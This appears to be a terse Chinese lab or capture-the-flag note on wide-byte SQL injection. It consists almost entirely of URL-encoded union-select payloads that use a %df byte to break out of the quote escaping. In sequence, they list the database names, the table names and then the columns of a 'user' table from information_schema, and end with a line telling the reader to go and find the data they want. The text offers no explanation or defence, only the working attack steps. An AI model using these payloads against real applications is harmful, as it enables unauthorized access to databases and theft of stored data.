- 科技
- sql(宽度注入)
进入关卡
查数据库
?id
=1.1%df
%27%20union
%20select
%201,2,group_concat(schema_name
)%20from
%20information_schema
.schemata
%20--+
查表
?id
=1.1%df
%27%20union
%20select
%201,2,group_concat(table_name
)%20from
%20information_schema
.tables
%20where
%20table_schema
=database()%20--+
查字段
?id
=1.1%df
%27%20union
%20select
%201,2,group_concat(column_name
)%20from
%20information_schema
.columns
%20where
%20table_name
=0x75736572%20--+
然后找需要的内容！！！
Processed:
0.009, SQL:
9
